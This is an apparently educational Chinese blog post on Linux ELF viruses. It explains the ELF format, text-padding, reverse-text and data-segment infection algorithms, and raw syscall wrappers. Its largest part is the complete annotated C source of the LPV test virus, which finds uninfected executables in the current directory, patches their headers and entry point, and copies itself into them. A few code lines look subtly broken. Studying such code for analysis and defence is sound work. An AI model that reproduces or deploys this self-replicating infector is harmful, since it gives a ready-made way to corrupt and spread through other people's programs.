前言

说起病毒大家肯定都很熟悉,但大多数人想起的一定是windows平台下病毒,而对linux下的病毒熟悉的人却少之又少。
之前在学习ELF文件格式的时候了解到ELF病毒的存在,现在让我们来花点时间深入学习下ELF病毒吧:)

*本文首发于先知社区:https://xz.aliyun.com/t/2254

Inhaltsverzeichnis

  1. 前言
  2. 1. ELF二进制格式
    1. 1.1 elf文件类型
    2. 1.2 ELF头
    3. 1.3 节头
    4. 1.4 ELF程序头
  3. 2.ELF病毒技术
    1. 2.1 ELF病毒原理
    2. 2.2 设计ELF病毒的关键问题
  4. 3.ELF病毒寄生代码感染方法
    1. 3.1 Silvio填充感染
    2. 3.2 逆向text感染
    3. 3.3 data段感染
  5. 4.系统调用
  6. 5.LPV病毒分析
  7. 6.参考

1. ELF二进制格式

1.1 elf文件类型

ELF文件可以被标记为下面几种类型:

  • ET_NONE:未知类型。
  • ET_REL:重定位文件。类型标记为relocatable,表示这个文件被标记了一段可重定位的代码,在编译完代码后可以看到一个.o文件。
  • ET_EXEC:可执行文件。类型标记为executable.
  • EY_DYN:共享目标文件(共享库)。类型标记为dynamic,可动态链接的目标文件,这类共享库会在程序运行时被装载并链接到程序的进程镜像中。
  • ET_CORE:核心文件。在程序崩溃时生成的文件,记录了进程的镜像信息,可以用gdb调试来找到崩溃的原因。

readelf -e命令可以看到ELF头、节头、程序头、段节这些信息,接下来我们会对其进行简单地介绍。

1.2 ELF头

$ readelf -h命令可以查看ELF文件头:

usr/include/elf.h文件中可以看到对elf头结构体的定义:

我们注意到前面readelf的输出里的“Magic”的16个字节刚好是对应”Elf32_Ehdr”的e_ident这个成员。这16个字节被ELF标准规定用来标识ELF文件的平台属性,比如ELF字长(32位/64位),字节序,ELF文件版本等等。
在输出中我们还能看到类别、数据、入口点地址等等重要信息,在分析一个ELF二进制文件之前检查ELF头是很重要的。

1.3 节头

首先要注意的是节不是段。段是程序执行的必要组成部分,在每个段中,会有代码或数据被划分为不同的节。
而节头表是对这些节的位置和大小的描述,主要用于链接和调试。一个二进制文件中如果缺少节头并不说明节不存在,只是无法通过节头来引用节,所以,ELF文件一定会有节,但是不一定会有节头。
text段的布局如下:

1
2
3
4
5
6
7
[.text] 程序代码
[.rodata] 只读数据
[.hash] 符号散列表
[.dynsym] 共享目标文件符号数据
[.dynstr] 共享目标文件符号名称
[.plt] 过程链接表
[.rel.got] G.O.T重定位数据

data段的布局如下:

1
2
3
4
[,data] 全局初始化变量
[.dynamic] 动态链接结构的对象
[.got.plt] 全局偏移表
[.bss] 全局未初始化变量

接下来将介绍一些比较重要的节:

  • .text节
    保存了程序代码数据的代码节。如果存在Phdr,那么.text节就会存在于text段中。
  • .rodata节
    保存了只读的数据,比如printf ("Hello World!\n");这句代码就是保存在.rodata节中,并且只能在text段中找到.rodata节。
  • .plt节
    包含动态链接器调用从共享库导入的函数所必须的相关代码。
  • .data节
    .data节存在于data段中,保存了初始化的全局变量等数据。
  • .bss节
    保存了未进行初始化的全局数据,在data段中。
  • .got.plt节
    .got节保存了全局偏移表,.got和.plt节一起提供了对导入的共享库函数的访问入口,由动态链接器在运行时进行修改。
  • .dynsym节
    保存了从共享库导入的动态符号信息,在text段中。
  • .dynstr节
    保存了动态符号字符串表,存放了代表符号名称的字符串。
  • .rel.*节
    重定位节保存了重定位相关的信息,这些信息描述了如何在链接或者运行时对ELF目标文件的某部分或进程镜像进行补充或修改,
  • .ctors、.dtors节
    构造器(.ctors)和解析器(.dtors)保存了指向构造函数和析构函数的函数指针,构造函数是指在main函数执行之前执行的代码,析构函数是在main函数之后执行的代码。

1.4 ELF程序头

ELF程序头是对二进制文件中段的描述,而段是在内核装载是被解析,描述了磁盘上可执行文件的内存布局以及如何映射到内存中的。

  • PT_LOAD
    可装载段,即这类段将被装载或映射到内存中。
  • PT_DYNAMIC
    动态段的Phdr,动态段是动态链接可执行文件所特有的,包含了动态链接器所必须的信息。包括:

    1
    2
    3
    运行时需要链接的共享库列表
    全局偏移表(GOT)的地址
    重定位条目的相关信息
  • PT_NOTE
    保存了操作系统的规范信息,实际上在可执行文件运行时不需要这个段,所以这个段成了很容易感染病毒的地方。

  • PT_INTERP
    对程序解释器即动态链接器位置的描述,将位置和大小信息存放在以null为终止符的字符串中。
  • PT_PHDR
    保存了程序头表本身的位置和大小,Phdr表保存了所有Phdr对文件中段的描述信息。
    $ readelf -l命令可以查看文件的Phdr表:

2.ELF病毒技术

2.1 ELF病毒原理

每个可执行文件都有一个控制流,即执行路径,而elf病毒的首要目标是劫持控制流,暂时改变程序的执行路径来执行寄生代码。
寄生代码通常负责设置钩子来劫持函数,还会将自身代码复制到没有感染病毒的程序中。一旦寄生代码执行完成,就会跳到原始的入口点或正常的执行路径上,这样就使得病毒不容易被发现。
另外,一个真正的ELF病毒应该具有下面的特点:

  • 能感染可执行文件
  • 寄生代码必须是独立的,能够在物理上寄存与另一个程序内部,不能依赖动态链接器链接外部的库。独立于其他文件、代码库、程序等。
  • 被感染的宿主文件能继续执行并传播病毒

2.2 设计ELF病毒的关键问题

独立寄生代码

前面说过寄生代码必须是独立的。由于每次感染的地址都会变化,寄生代码每次注入二进制文件中的位置也会变化,所以寄存程序必须能够动态计算出所在的内存地址。寄生代码可以使用IP相对代码,通过函数相对指令指针的偏移量来计算出代码的地址来执行函数。
使用gcc的-nostdlib-fpic -pie选项可以将其编译成位置独立的代码。

字符串存储问题

在病毒代码处理字符串时,如果遇到这样的代码const char *name = "elfvirus";,编译器会将字符串数据存放在.rodata节中,然后通过地址对字符串进行引用,一旦使用病毒注入到其他程序中,这个地址就会失效。所以在编写病毒代码时一般使用栈来存放字符串:

1
char name[] = {'e', 'l', 'f', 'v', 'i', 'r', 'u', 's', '\0'};

或者是用仍然使用传统的字符串定义方式,然后用gcc的-N选项,将text段和data段合并到一个单独的段中,使这个段具有可读、可写、可执行权限,这样病毒在感染时就会将这整个段注入,并包括了.rodata节的字符串数据。但是这样有时又会导致一个问题,字符串会保存在全局数据中,导致代码占用的空间增大,在一般的情况下我们是不希望病毒代码体积很大的。

将执行控制流传给寄生代码

一般情况下可以通过调整ELF文件头来将入口点指向寄生代码,但是这样做很容易暴露寄生代码的位置。更谨慎的方法是找一个合适的位置插入或修改分支,通过分支来跳转到寄生代码(jmp或重写函数指针),一般可以用.ctors或.init_array节,这两个节中存放着函数指针。

3.ELF病毒寄生代码感染方法

3.1 Silvio填充感染

UNIX病毒之父Silvio发明的text段填充感染方法,利用了内存中text段和data段之间存在的一页大小的填充空间作为病毒体的存放空间。

.text感染算法

  • 增加ELF文件头中的ehdr->e_shoff(节表偏移)的PAGE_SIZE(页长度)
  • 定位text段的phdr
    修改入口点ehdr->e_entry = phdr[TEXT].p_vaddr + phdr[TEXT].p_filesz
    增加phdr[TEXT].p_filesz(文件长度)的长度为寄生代码的长度
    增加phdr[TEXT].p_memsz(内存长度)的长度为寄生代码的长度
  • 对每个phdr(程序头),对应段若在寄生代码之后,则根据页长度增加对应的偏移
  • 找到text段的最后一个shdr(节头),把shdr[x].sh_size增加为寄生代码的长度
  • 对每个位于寄生代码插入位置之后shdr,根据页长度增加对应的偏移
  • 将真正的寄生代码插入到text段的file_base + phdr[TEXT].p_filesz(text段的尾部)

3.2 逆向text感染

在允许宿主代码保持相同虚拟地址的同时感染.text节区的前面部分,我们要逆向扩展text段,将text段的虚拟地址缩减PAGE_ALIGN(parasite_size)。
在现代Linux系统中允许的最小虚拟映射地址是0x1000,也就是text的虚拟地址最多能扩展到0x1000。在64位系统上,默认的text段虚拟地址通常是0x400000,这样寄生代码可占用的空间就达到了0x3ff000字节。在32位系统上,默认的text段虚拟地址通常是0x0804800,这就有可能产生更大的病毒。
计算一个可执行文件中可插入的最大寄生代码大小公式:

1
max_parasite_length = orig_text_vaddr - (0x1000 + sizeof(ElfN_Ehdr))

感染算法:

  • 将ehdr_eshoff增加为寄生代码长度
  • 找到text段和phdr,保存p_vaddr(虚拟地址)的初始值
    根据寄生代码长度减小p_vaddr和p_paddr(物理地址)
    根据寄生代码长度增大p_filesz和p_memsz
  • 遍历每个程序头的偏移,根据寄生代码的长度增加它的值;使得phdr前移,为逆向text扩展腾出空间
  • 将ehdr->e_entry设置为原始text段的虚拟地址:
    orig_text_vaddr - PAGE_ROUND(parasite_len) + sizeof(ElfN_Ehdr)
  • 根据寄生代码的长度增加ehdr->e_phoff
  • 创建新的二进制文件映射出所有的修改,插入真正的寄生代码覆盖旧的二进制文件。

3.3 data段感染

data段的数据有R+W权限,而text段来R+X权限,我们可以在未设置NX-bit的系统(32位linux系统)上,不改变data段权限并执行data段中的代码,这样对寄生代码的大小没有限制。但是要注意为.bss节预留空间,尽管.bss节不占用空间,但是它会在程序运行时给未初始化的遍历在data段末尾分配空间。
感染算法:

  • 将ehdr->e_shoff增加为寄生代码的长度
  • 定位data段的phdr
    将ehdr->e_entry指向寄生代码的位置
    phdr->pvaddr + phdr->filesz
    将phdr->p_filesz,phdr->p_memsz增加为寄生代码的长度
  • 调整.bss节头,使其偏移量和地址能反映寄生代码的尾部
  • 设置data段的权限(在设置了NX-bit的系统上,未设置的系统不需要这步)
    phdr[DATA].p_flags |= PF_X;
  • 使用假名为寄生代码添加节头,防止有人执行/usr/bin/strip <program>将没有进行节头说明的寄生代码清除掉。
  • 创建新的二进制文件映射出所有的修改,插入寄生代码覆盖旧的二进制文件。

4.系统调用

前面说过,我们要编译独立的寄生代码,一方面也是为了让病毒能在不同的环境下运行。那么就不能使用其他的库,而是使用系统调用来完成病毒所需要的功能。通过系统调用我们可以直接访问到内核。
下面是在x86架构下,我们自己封装的系统调用的一组接口syscall0~syscall6,原本的接口可以在unistd.h中查看:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
#define __syscall0(type,name) \
type name(void) \
{ \
long __res; \
__asm__ volatile ("int $0x80" \
: "=a" (__res) \
: "0" (__NR_##name)); \
return(type)__res; \
}

#define __syscall1(type,name,type1,arg1) \
type name(type1 arg1) \
{ \
long __res; \
__asm__ volatile ("int $0x80" \
: "=a" (__res) \
: "0" (__NR_##name),"b" ((long)(arg1))); \
return(type)__res; \
}

#define __syscall2(type,name,type1,arg1,type2,arg2) \
type name(type1 arg1,type2 arg2) \
{ \
long __res; \
__asm__ volatile ("int $0x80" \
: "=a" (__res) \
: "0" (__NR_##name),"b" ((long)(arg1)),"c" ((long)(arg2))); \
return(type)__res; \
}

#define __syscall3(type,name,type1,arg1,type2,arg2,type3,arg3) \
type name(type1 arg1,type2 arg2,type3 arg3) \
{ \
long __res; \
__asm__ volatile ("int $0x80" \
: "=a" (__res) \
: "0" (__NR_##name),"b" ((long)(arg1)),"c" ((long)(arg2)), \
"d" ((long)(arg3))); \
return(type)__res; \
}

#define __syscall4(type,name,type1,arg1,type2,arg2,type3,arg3,type4,arg4) \
type name (type1 arg1, type2 arg2, type3 arg3, type4 arg4) \
{ \
long __res; \
__asm__ volatile ("int $0x80" \
: "=a" (__res) \
: "0" (__NR_##name),"b" ((long)(arg1)),"c" ((long)(arg2)), \
"d" ((long)(arg3)),"S" ((long)(arg4))); \
return(type)__res; \
}

#define __syscall5(type,name,type1,arg1,type2,arg2,type3,arg3,type4,arg4, \
type5,arg5) \
type name (type1 arg1,type2 arg2,type3 arg3,type4 arg4,type5 arg5) \
{ \
long __res; \
__asm__ volatile ("int $0x80" \
: "=a" (__res) \
: "0" (__NR_##name),"b" ((long)(arg1)),"c" ((long)(arg2)), \
"d" ((long)(arg3)),"S" ((long)(arg4)),"D" ((long)(arg5))); \
return(type)__res; \
}

#define __syscall6(type,name,type1,arg1,type2,arg2,type3,arg3,type4,arg4, \
type5,arg5,type6,arg6) \
type name (type1 arg1,type2 arg2,type3 arg3,type4 arg4,type5 arg5,type6 arg6) \
{ \
long __res; \
__asm__ volatile ("push %%ebp ; movl %%eax,%%ebp ; movl %1,%%eax ; int $0x80 ; pop %%ebp" \
: "=a" (__res) \
: "i" (__NR_##name),"b" ((long)(arg1)),"c" ((long)(arg2)), \
"d" ((long)(arg3)),"S" ((long)(arg4)),"D" ((long)(arg5)), \
"0" ((long)(arg6))); \
return(type),__res; \
}

实际上这组接口的区别只是向内核传递的参数个数不同,只有__syscall6多了栈操作。这是因为超过了五个参数就不能用寄存器来传递参数了,只能用使用栈。
病毒程序常用的系统调用如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
__syscall0(int,fork);

__syscall1(time_t, time, time_t *, t);

__syscall1(int, close, int, fd);

__syscall1(unsigned long, brk, unsigned long, brk);

__syscall1(int, unlink, const char *, pathname);

__syscall1(void, exit, int, status);

__syscall2(int, fstat, int, fd, struct stat *, buf);

__syscall2(int, fchmod, int, filedes, mode_t, mode);

__syscall2(int,chmod,const char *,pathname,unsigned int,mode);

__syscall2(int, rename, const char *, oldpath, const char *, newpath);

__syscall3(int, fchown, int, fd, uid_t, owner, gid_t, group);

__syscall3(int, getdents, uint, fd, struct dirent *, dirp, uint, count);

__syscall3(int, open, const char *, file, int, flag, int, mode);

__syscall3(off_t, lseek, int, filedes, off_t, offset, int, whence);

__syscall3(ssize_t, read, int, fd, void *, buf, size_t, count);

__syscall3(ssize_t, write, int, fd, const void *, buf, size_t, count);

__syscall3(int, execve, const char *, file, char **, argv, char **, envp);

__syscall3(pid_t, waitpid, pid_t, pid, int *, status, int, options);

5.LPV病毒分析

lpv病毒是《linux二进制分析》作者Ryan O’Neill用.text感染算法写的linux32位下的测试病毒。

这个病毒将自己复制到它有权写入的第一个未受感染的可执行文件(复制也是病毒最本质的行为),它一次只复制一个可执行文件。 病毒会在感染的每个二进制文件中写入magic作为标记,使病毒能检测到文件是否为已被感染。 目前病毒只感染当前工作目录内的文件,但可以很容易地修改。
此病毒在主机可执行文件的text段末尾扩展/创建PAGE大小的填充,然后将其自身复制到该位置。 原始入口点被修补到寄生代码的起点,该寄生代码在其执行后将控制权返回给主机。该代码与位置无关并通过系统调用宏避开libc。

关键部分我在下面的源码中加上了注释:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
/*
* Linux VIRUS - 12/19/08 Ryan O'Neill
*
* -= DISCLAIMER =-
* This code is purely for research purposes and so that the reader may have a deeper understanding
* of UNIX Virus infection within ELF executables.
*
* Behavior:
* The virus copies itself to the first uninfected executable that it has write permissions to,
* therefore the virus copies itself one executable at a time. The virus writes a bit of magic
* into each binary that it infects so that it knows not to re-infect it. The virus at present
* only infects files within the current working directory, but can easily be modified.
*
* This virus extends/creates a PAGE size padding at the end of the text segment within the host
* executable, and copies itself into that location. The original entry point is patched to the
* start of the parasite which returns control back to the host after its execution.
* The code is position independent and eludes libc through syscall macros.
*
* Compile:
* gcc virus.c -o virus -nostdlib
*
* elfmaster[at]zoho.com
*
*/


#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <linux/fcntl.h>
#include <errno.h>
#include <elf.h>
#include <asm/unistd.h>
#include <asm/stat.h>

#define PAGE_SIZE 4096
#define BUF_SIZE 1024
#define TMP "vx.tmp"

void end_code(void);

unsigned long get_eip();
unsigned long old_e_entry;
void end_code(void);
void mirror_binary_with_parasite (unsigned int, unsigned char *, unsigned int,
struct stat, char *, unsigned long);

extern int myend;
extern int foobar;
extern int real_start;

_start()
{
__asm__(".globl real_start\n"
"real_start:\n"
"pusha\n"
"call do_main\n" //跳转到do_main()
"popa\n"
"jmp myend\n"); //跳转到病毒体结束位置

}

do_main()
{

struct linux_dirent
{
long d_ino;
off_t d_off;
unsigned short d_reclen;
char d_name[];
};

char *host;
char buf[BUF_SIZE];
char cwd[2];
struct linux_dirent *d;
int bpos;
int dd, nread;

unsigned char *tp;
int fd, i, c;
char text_found;
mode_t mode;

struct stat st;

unsigned long address_of_main = get_eip() - ((char *)&foobar - (char *)&real_start); //动态计算main函数地址

unsigned int parasite_size = (char *)&myend - (char *)&real_start; //病毒体尾部地址减去开始地址为寄生代码的大小
parasite_size += 7; // 7为jmp_code的大小,为了能跳转回原始入口点

unsigned long int leap_offset;
unsigned long parasite_vaddr;
unsigned int numbytes;

Elf32_Shdr *s_hdr;
Elf32_Ehdr *e_hdr;
Elf32_Phdr *p_hdr;

unsigned long text;
int nc;
int magic = 32769;
int m, md;
text_found = 0;
unsigned int after_insertion_offset;
unsigned int end_of_text;

char infected;

cwd[0] = '.';
cwd[1] = 0;

dd = open (cwd, O_RDONLY | O_DIRECTORY);

nread = getdents (dd, buf, BUF_SIZE);
/*重复读取并感染当前目录下的未被感染的可执行文件*/
for (bpos = 0; bpos < nread;) {

d = (struct linux_dirent *) (buf + bpos);
bpos += d->d_reclen;

host = d->d_name;

if (host[0] == '.')
continue;

if (host[0] == 'l')
continue;

fd = open (d->d_name, O_RDONLY);

stat(host, &st);
char mem[st.st_size];

infected = 0;
c = read (fd, mem, st.st_size);

e_hdr = (Elf32_Ehdr *) mem;
if (e_hdr->e_ident[0] != 0x7f && strcmp (&e_hdr->e_ident[1], "ELF")) //判断文件是否为一个elf可执行文件
{
close (fd);
continue;
}
else
{
p_hdr = (Elf32_Phdr *) (mem + e_hdr->e_phoff);
for (i = e_hdr->e_phnum; i-- > 0; p_hdr++)
{
if (p_hdr->p_type == PT_LOAD)
{
if (p_hdr->p_flags == (PF_R | PF_X))
{
md = open(d->d_name, O_RDONLY);
unsigned int pt = (PAGE_SIZE - 4) - parasite_size;
lseek(md, p_hdr->p_offset + p_hdr->p_filesz + pt, SEEK_SET);
read(md, &m, sizeof(magic));
if (m == magic) //通过magic标记判断已感染的文件
infected++;
close(md);
break;
}
}
}
}

if (infected) //如果已经被感染就继续读取下一个文件
{
close(fd);
continue;
}
else
{
p_hdr = (Elf32_Phdr *) (mem + e_hdr->e_phoff);
for (i = e_hdr->e_phnum; i-- > 0; p_hdr++)
{
/*定位text段的phdr*/
if (text_found)
{
p_hdr->p_offset += PAGE_SIZE;
continue;
}
else
if (p_hdr->p_type == PT_LOAD)
{
if (p_hdr->p_flags == (PF_R | PF_X))
{
text = p_hdr->p_vaddr;
parasite_vaddr = p_hdr->p_vaddr + p_hdr->p_filesz;
old_e_entry = e_hdr->e_entry; //覆盖旧入口点
e_hdr->e_entry = parasite_vaddr; //修改入口点为寄生代码的虚拟地址
end_of_text = p_hdr->p_offset + p_hdr->p_filesz;
p_hdr->p_filesz += parasite_size; //把文件和内存长度增加为寄生代码的长度
p_hdr->p_memsz += parasite_size;
text_found++;
}
}
}
}
s_hdr = (Elf32_Shdr *) (mem + e_hdr->e_shoff);
for (i = e_hdr->e_shnum; i-- > 0; s_hdr++) //遍历程序头
{
if (s_hdr->sh_offset >= end_of_text) //根据页长度增加位于寄生代码后的节头的偏移
s_hdr->sh_offset += PAGE_SIZE;
else
if (s_hdr->sh_size + s_hdr->sh_addr == parasite_vaddr) //把位于text段最后一个节头的大小增加为寄生代码的大小
s_hdr->sh_size += parasite_size;
}

e_hdr->e_shoff += PAGE_SIZE; //根据页长度增加段的偏移
mirror_binary_with_parasite (parasite_size, mem, end_of_text, st, host, address_of_main);
close (fd);
goto done;
}
done:
close (dd);
}

void
mirror_binary_with_parasite (unsigned int psize, unsigned char *mem,
unsigned int end_of_text, struct stat st, char *host, unsigned long address_of_main)
{

int ofd;
unsigned int c;
int i, t = 0;
int magic = 32769;

char tmp[3];
tmp[0] = '.';
tmp[1] = 'v';
tmp[2] = 0;

char jmp_code[7];

//使用jmp_code来跳转到原始入口点
jmp_code[0] = '\x68'; /* push */
jmp_code[1] = '\x00'; /* 00 */
jmp_code[2] = '\x00'; /* 00 */
jmp_code[3] = '\x00'; /* 00 */
jmp_code[4] = '\x00'; /* 00 */
jmp_code[5] = '\xc3'; /* ret */
jmp_code[6] = 0;

int return_entry_start = 1;
ofd = open (tmp, O_CREAT | O_WRONLY | O_TRUNC, st.st_mode);

write (ofd, mem, end_of_text); //扩展text段的尾部
*(unsigned long *) &jmp_code[1] = old_e_entry; //把原始入口点写入到寄生代码头部
write (ofd, (char *)address_of_main, psize - 7); //将寄生代码从text段尾部写入
write (ofd, jmp_code, 7); //写入jmp_code

lseek (ofd, (PAGE_SIZE - 4) - psize, SEEK_CUR);
write (ofd, &magic, sizeof(magic)); //将magic写入宿主文件作为标记

mem += end_of_text;

unsigned int last_chunk = st.st_size - end_of_text;
write (ofd, mem, last_chunk);
rename (tmp, host);
close (ofd);


}

unsigned long get_eip(void)
{
__asm__("call foobar\n"
".globl foobar\n"
"foobar:\n"
"pop %eax");
}

/*系统调用接口定义*/
#define __syscall0(type,name) \
type name(void) \
{ \
long __res; \
__asm__ volatile ("int $0x80" \
: "=a" (__res) \
: "0" (__NR_##name)); \
return(type)__res; \
}

#define __syscall1(type,name,type1,arg1) \
type name(type1 arg1) \
{ \
long __res; \
__asm__ volatile ("int $0x80" \
: "=a" (__res) \
: "0" (__NR_##name),"b" ((long)(arg1))); \
return(type)__res; \
}


#define __syscall2(type,name,type1,arg1,type2,arg2) \
type name(type1 arg1,type2 arg2) \
{ \
long __res; \
__asm__ volatile ("int $0x80" \
: "=a" (__res) \
: "0" (__NR_##name),"b" ((long)(arg1)),"c" ((long)(arg2))); \
return(type)__res; \
}

#define __syscall3(type,name,type1,arg1,type2,arg2,type3,arg3) \
type name(type1 arg1,type2 arg2,type3 arg3) \
{ \
long __res; \
__asm__ volatile ("int $0x80" \
: "=a" (__res) \
: "0" (__NR_##name),"b" ((long)(arg1)),"c" ((long)(arg2)), \
"d" ((long)(arg3))); \
return(type)__res; \
}
#define __syscall4(type,name,type1,arg1,type2,arg2,type3,arg3,type4,arg4) \
type name (type1 arg1, type2 arg2, type3 arg3, type4 arg4) \
{ \
long __res; \
__asm__ volatile ("int $0x80" \
: "=a" (__res) \
: "0" (__NR_##name),"b" ((long)(arg1)),"c" ((long)(arg2)), \
"d" ((long)(arg3)),"S" ((long)(arg4))); \
return(type)__res; \
}

#define __syscall5(type,name,type1,arg1,type2,arg2,type3,arg3,type4,arg4, \
type5,arg5) \
type name (type1 arg1,type2 arg2,type3 arg3,type4 arg4,type5 arg5) \
{ \
long __res; \
__asm__ volatile ("int $0x80" \
: "=a" (__res) \
: "0" (__NR_##name),"b" ((long)(arg1)),"c" ((long)(arg2)), \
"d" ((long)(arg3)),"S" ((long)(arg4)),"D" ((long)(arg5))); \
return(type)__res; \
}
#define __syscall6(type,name,type1,arg1,type2,arg2,type3,arg3,type4,arg4, \
type5,arg5,type6,arg6) \
type name (type1 arg1,type2 arg2,type3 arg3,type4 arg4,type5 arg5,type6 arg6) \
{ \
long __res; \
__asm__ volatile ("push %%ebp ; movl %%eax,%%ebp ; movl %1,%%eax ; int $0x80 ; pop %%ebp" \
: "=a" (__res) \
: "i" (__NR_##name),"b" ((long)(arg1)),"c" ((long)(arg2)), \
"d" ((long)(arg3)),"S" ((long)(arg4)),"D" ((long)(arg5)), \
"0" ((long)(arg6))); \
return(type),__res; \
}

__syscall1(void, exit, int, status);
__syscall3(ssize_t, write, int, fd, const void *, buf, size_t, count);
__syscall3(off_t, lseek, int, fildes, off_t, offset, int, whence);
__syscall2(int, fstat, int, fildes, struct stat * , buf);
__syscall2(int, rename, const char *, old, const char *, new);
__syscall3(int, open, const char *, pathname, int, flags, mode_t, mode);
__syscall1(int, close, int, fd);
__syscall3(int, getdents, uint, fd, struct dirent *, dirp, uint, count);
__syscall3(int, read, int, fd, void *, buf, size_t, count);
__syscall2(int, stat, const char *, path, struct stat *, buf);

//寄生代码尾部
void end_code() {

__asm__(".globl myend\n"
"myend: \n"
"mov $1,%eax \n" // sys_exit
"mov $0,%ebx \n" //normal status
"int $0x80 \n");

}

6.参考

《linux二进制分析》
ELF文件病毒分析和编写:https://blog.csdn.net/luojiafei/article/details/7206063
使用汇编编写一个病毒:https://www.anquanke.com/post/id/85256